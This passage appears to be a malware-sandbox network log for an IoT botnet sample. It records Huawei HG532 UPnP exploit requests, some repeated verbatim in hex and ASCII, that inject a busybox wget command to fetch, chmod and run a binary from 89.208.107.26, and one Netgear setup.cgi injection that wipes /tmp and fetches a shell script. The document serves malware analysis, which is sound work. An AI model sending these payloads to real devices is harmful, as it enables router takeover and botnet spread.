HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://89.208.107.26/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 197.155.45.47
Source: unknown TCP traffic detected without corresponding DNS query: 197.207.214.83
Source: unknown TCP traffic detected without corresponding DNS query: 157.100.11.17
Source: unknown TCP traffic detected without corresponding DNS query: 197.138.8.164
